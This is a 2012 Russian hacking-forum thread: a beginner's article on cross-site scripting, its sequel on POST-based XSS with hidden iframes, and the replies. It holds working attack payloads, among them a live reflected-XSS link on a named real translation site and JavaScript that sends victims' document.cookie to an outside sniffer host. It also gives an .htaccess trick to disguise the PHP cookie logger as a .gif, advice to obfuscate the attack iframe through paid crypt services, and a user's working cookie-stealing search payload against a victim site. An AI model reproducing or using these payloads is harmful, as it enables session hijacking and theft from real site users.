PDA

Просмотр полной версии : XSS. Межсайтовый скриптинг


mr.Penguin
09.03.2012, 15:30
XSS. Межсайтовый скриптинг

Моя первая статья, Автор: mr.Penguin

Вступление

XSS - тип уязвимости, позволяющий вставить произвольный JavaScript код в тело страницы сайта.

XSS расшифровывается как Cross Site Scripting. Для термина используют сокращение "XSS", чтобы не было путаницы с "CSS" (каскадные таблицы стилей - приминяются в оформлении страницы сайта).

Для чего служит?

XSS служит для атаки пользователей, просматривающих зараженную страницу.

Чаще всего, данную уязвимость используют для кражи cookies (применяется для сохранения данных на стороне юзера) у пользователя.

Виды XSS Уязвимостей

Типы уязвимостей делятся на два вида.

#1 Активная XSS.

Данный тип уязвимости хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы зараженного сайта.

Чаще всего, активную XSS можно встретить в чатах/блогах/новостных лентах/комментариях.

#2 Пассивная XSS.

Пассивная XSS-атака получается при конкретном запросе к скрипту. Параметры передаются через GET и POST запросы.

В отличие от POST запроса, с GET`ом намного проще. На мой взгяд, пассивные xss - самые неудобные уязвимости для осуществления атаки на сайте.

XSS на примере

Чтобы найти пассивную XSS на сайте, достаточно подставить в форму ввода следующий код:


Code:
alert('xss')

Если скрипт сработал и у вас вылезло окно с текстом "xss", то пассивная XSS уязвимость присутствует на сайте. Если у вас ничего не получилось, то не расстраивайтесь - можно попробовать и такой код:


Code:
">alert('xss')

Если ни один из представленных кодов не сработал, то скорее всего уязвимость отсутствует на сайте.

Рассмотрим на примере работу пассивной XSS.

Давайте зайдем на какой-нибудь сайт и найдем там поиск. Параметры передаются через GET запрос.

В форму ввода пишем


Code:
">alert('xss')

и нажимаем кнопку "Найти. В адресной строке у нас должно получится что-то вроде этого:


Code:
http://site.ru/search.php?q=">alert('xss')

Если на сайте отсутствует фильтрация HTML-тегов, то у вас должно выскочить окно с текстом "xss", если окна нет, то пассивная xss на сайте отсутствует.

Вот готовый пример пассивной XSS на Online-переводчике -


Code:
http://www.translate.ru/siteTranslation/autolink/?direction=ar&template=General&sourceURL=">alert('xss')

Использование XSS для кражи cookies пользователя

Для того, чтобы украсть cookies пользователя, нам понадобиться онлайн-сниффер. Его можно найти в интернете, но можно использовать и свой.

Нам понадобиться два файла:

1) file.php - В нем и будет находится наш снифер


PHP:


2) file.txt - файл, который будет записывать все данные с нашего сниффера.

Можно поменять расширение "php" на "gif", чтобы наш скрипт не вызывал никаких подозрений. Тут нам поможет ".htaccess", в котором мы пропишем следующее:


Code:

AddType application/x-httpd-php .gif
img= new Image();
img.src="www.site.ru/ваше_название.gif?"+document.cookie

Вот и всё. По идее, в наш файл "file.txt" должны прийти кукисы пользователя.

Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.

Спасибо за внимание.

P.S. Не забывайте про фильтрацию HTML-тегов. Различные способы вставки JavaScript кода вы можете посмотреть здесь (http://ha.ckers.org/xss.html).

P.S2 Статья будет дополняться.

Вторая часть статьи: Проводим XSS через POST (https://antichat.live/showpost.php/p/3081270/postcount/14/)

Osstudio
09.03.2012, 15:46
Таких статей море, ничего нового =(

mr.Penguin
09.03.2012, 15:57
Osstudio said:
Таких статей море, ничего нового =(


Эта статья рассчитана на новичков.

Я владею достаточной информацией про данный тип уязвимости, но решил написать всего лишь представление об этой уязвимости. Именно поэтому в конце написал "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.", а это значит - постараюсь ответить на вопрос пользователя и может быть, Вы или кто-то другой узнает что-то новое.

Ereee
09.03.2012, 16:10
Регистрация: 08.03.2012

Человек, который зарегистрировался только, чтобы написать статью, поделится знаниями! Браво =)

Osstudio
09.03.2012, 17:47
mr.Penguin said:
Эта статья рассчитана на новичков.
Я владею достаточной информацией про данный тип уязвимости, но решил написать всего лишь представление об этой уязвимости. Именно поэтому в конце написал "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.", а это значит - постараюсь ответить на вопрос пользователя и может быть, Вы или кто-то другой узнает что-то новое.


Таких статей для новичков и где люди пишут в конце "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем." МОРЕ! Так понятней?

satana8920
09.03.2012, 20:15
а че ни слова не написал про обход фильрации при проведении атаки? проблема весьма актуальная. Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса. Доведи до ума Статью если хочешь похвалы!

OxoTnik
09.03.2012, 20:44
satana8920 said:
Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса.


Софт? какой ещё софт сам расскажи что то интересно прям стало))

mr.Penguin
09.03.2012, 21:11
Osstudio said:
Таких статей для новичков и где люди пишут в конце "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем." МОРЕ! Так понятней?


Ну вот и еще одна появилась. Я думаю, что никто не против. Пусть люди задают вопросы по XSS, глядишь и Вы что-нибудь новенькое узнаете (как я понимаю, Вы не гуру в XSS - в одной теме ваше сообщение видел).


satana8920 said:
а че ни слова не написал про обход фильрации при проведении атаки? проблема весьма актуальная. Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса. Доведи до ума Статью если хочешь похвалы!


Согласен, проблема весьма актуальная - поэтому совсем скоро начну писать вторую часть статьи, где Вы подробно сможете прочесть про фильтрацию. А насчет софта - думаю, что это лишнее. Ведь приятнее делать все своими руками.

M_script
09.03.2012, 21:18
Основные замечания по статье:

XSS делятся не на два типа, а на три:

1) Активные (хранимые)

2) Пассивные (отраженные)

3) DOM-based

Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла)

Кража сессии - не единственная возможность XSS (чтение данных со страниц сайта, выполнение запросов, доступ к локальному хранилищу, базам данных)

Не написано о практической эксплуатации пассивных XSS (прямой переход по ссылке, шифрование, сокращение, скрытые фреймы)

Это неправильно:


PHP:
img= newImage();

img.src="www.site.ru/ваше_название.gif?"+document.cookie

www.site.ru будет восприниматься как директория относительно текущей.

Никаких действий с объектом img в дальнейшем не производится, поэтому можно сократить код так:


PHP:
(newImage()).src='//www.site.ru/ваше_название.gif?'+document.cookie

или с явным указанием протокола:


PHP:
(newImage()).src='http://www.site.ru/ваше_название.gif?'+document.cookie

Непонятно, зачем менять расширение на .gif php-скрипту, сохраняющему куки.

mr.Penguin
09.03.2012, 21:37
M_script, согласен. Но я решил написать о двух основных типах XSS.


Code:
Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла)

И тут я полностью согласен, но я думаю, что это простительно. Все-таки первая статья

В следующий раз постараюсь написать всё внятней.

Osstudio
10.03.2012, 17:21
Пингвин, ты не вторую часть пиши, а первую дополни, тогда что-то будет, а не очередное говно

mr.The
10.03.2012, 17:26
Раз пишешь для новичков, описал бы уже применение post пасивок. Меня, в своё время, это интересовало больше всего.

mr.Penguin
10.03.2012, 19:33
mr.The said:
Раз пишешь для новичков, описал бы уже применение post пасивок. Меня, в своё время, это интересовало больше всего.


Хорошо. Я думаю, что это многих интересует.

mr.Penguin
26.03.2012, 23:01
По просьбе mr.The, сейчас я попробую рассказать вам про проведение пассивной XSS через POST запрос.

Я не буду писать подробную статью, а лишь покажу азы проведения XSS через POST.

Так что же нам понадобится, чтобы провести XSS через POST?

Нам нужна обычная HTML страница, в которой будет содержаться скрипт автоматической отправки формы.

Давайте создадим страницу и назовем ее xss.html

Я предоставлю Вам четыре варианта отправки пассивной POST XSS.

Вариант #1


Code:

alert(document.cookie)'>

document.TheFormXSS.submit();


Вариант #2 (самый плохой вариант, не автоматический)


Code:

alert(document.cookie)">


Вариант #3


Code:

alert(document.cookie)">

document.getElementsByTagName('form')[0].submit();


Вариант #4 (мой любимый вариант, самый простой)


Code:

alert(document.cookie)'>

Единственный минус у всех четырех вариантов, это то, что наша жертва попадет на наш уязвимый сайт, что не есть хорошо.

Для этого нам понадобится невидимый iframe, давайте создадим страницу iframe.html и запишем в него следующий код:


Code:


На этом все.

Можно также зашифровать наш фрейм. Для этого существуют различные сервисы шифровки HTML кода (Крипт сервисы). Они делятся на два типа: бесплатные и платные. Бесплатный можно найти, погуглив в интернете (кл. слово зашифровать html код), но я советую Вам воспользоваться платным криптом. Они надежнее.

Спасибо за внимание

[BES]
27.03.2012, 00:00
и так, раз для новичков, пожалуй начнем =)

сначала хочу сказать спасибо, за старание/статью

теперь ближе к делу


подставить в форму ввода следующий код


что такое форма ввода ? куда вводить точнее ? =))) когда подставляю в конце линка этот алерт, он просто лезит в гугл и пытается найти инфу

и с чего начиналась твоя деятельность по сей направлению ?

книги, мануалы, статьи и т.п

что бы уметь находить подобные уязвимости в сайтах, нужно шарить в сайто-строении ? или не обязательно ?

mr.Penguin
27.03.2012, 00:10
"]
[BES] said:
и так, раз для новичков, пожалуй начнем =)
сначала хочу сказать спасибо, за старание/статью
вообщем ближе к делу
что такое форма ввода ? куда вводить точнее ? =)))
и с чего начиналась твоя деятельность по сей направлению ?
книги, мануалы, статьи и т.п
что бы уметь находить подобные уязвимости в сайтах, нужно шарить в сайто-строении ? или не обязательно ?


Ну я думаю, что почти каждый юзверь, который хочет познать мир XSS, знает, что такое форма ввода.

Ну а если нет, то объясню. Что под формой ввода я подразумеваю ввод пароля и логина для авторизации на сайте или же для поиска необходимой информации.

Познавал данный тип уязвимостей я сам, но конечно же читал и статьи, без них - ничего нормального не узнаешь.

Что бы уметь находить подобные уязвимости в сайтах, необходимо "шарить" в сайтостроении, хотя-бы на базовом уровне.

[BES]
27.03.2012, 00:26
оно ?

http://rghost.ru/37242466/image.png

или нет ?

mr.Penguin
27.03.2012, 00:32
"]
[BES] said:
оно ?
http://rghost.ru/37242466/image.png
или нет ?


Нет, Вы ошиблись.

Kusto
27.03.2012, 00:33
а где написанно про самодостаточную xss?? про такой тип data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raW UpPC9zY3JpcHQ+ а ведь еще недавно она прокатывала на майле в теле письма

mr.Penguin
27.03.2012, 00:38
Kusto said:
а где написанно про самодостаточную xss?? про такой тип data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raW UpPC9zY3JpcHQ+ а ведь еще недавно она прокатывала на майле в теле письма


Ну меня еще никто не просил писать про самодостаточную XSS, как будет время - постараюсь написать.

xPhoenix
14.08.2012, 13:42
мне кажется что у него уже времени на это много...

Duskly
22.09.2012, 11:50
Я когда вставляю код в адресную строку, у меня оно срабатывает в поиске, но не как скрипт(( что делать?

v3r7
22.09.2012, 15:29
второй раз вставляю пост если удаляете пишите пожалуйста почему? Имеется сайт,запрос вида: site/manager?alert(/x/); выкидывает меня на страницу вида https://site/manager/?alert(/x/);?alert(/x/); Там находится страница авторизации isp manager,НО запрос вида: site/manager/?'/


HTML:
alert(/x/);

выдаёт пустую страницу,но код этой страницы таков:


HTML:
location = 'https://site/manager/?'%3C/script%3E%3Cscript%3Ealert(/x/);?'%3C/script%3E%3Cscript%3Ealert(/x/);';

Насколько я понимаю, здесь соит фильтр ,который не даёт мне использовать символы ??? если мне удасться,обойти фильтрацию перекодировкой например,возможна ли здесь пассивная XSS???

...если копирую содержимое страницы на жёсткий, и там правлю, то понятное дело всё получается но как только ссылается на сайтик так лажа... что то я совсем запутался выручайте

v3r7
24.09.2012, 03:42
xss

Вот другая ситуация есть уязвимость в форме поиска, можно испольщзовать onmouseover= и хтмл код, ява отказывается исполняться... ...У меня два вопроса, почему не хочет исполняться ява скрипт в форме или без неё и что кроме псевдо дефейса вообще возможно выжать из этого? может быть линк на тему где ИМЕННО ЭТИ вопросы обсуждены?..

Вот новая Ремарочка... ява работает в мозиле, однако отказывается в хроме и отключается в ишаке... мои два вопроса всё же актуальны,прошу подсказать

v3r7
24.09.2012, 05:38
Вот простой для вас вопрос я думаю...

site/search/?q=" onmouseover=prompt(3333) />document.write(document.cookie);bad=
[/HTML]

v3r7
24.09.2012, 09:55
нашёл решение для снифера, работает исключительно так:

[HTML]
HTML:
www.victim.ru/search/?q=" onmouseover=/>img=new Image ();img.src="http://sniff/sniff.php?cookie="%2Bdocument.cookiebad=(( может кто-нибудь подскажет ,другие варианты?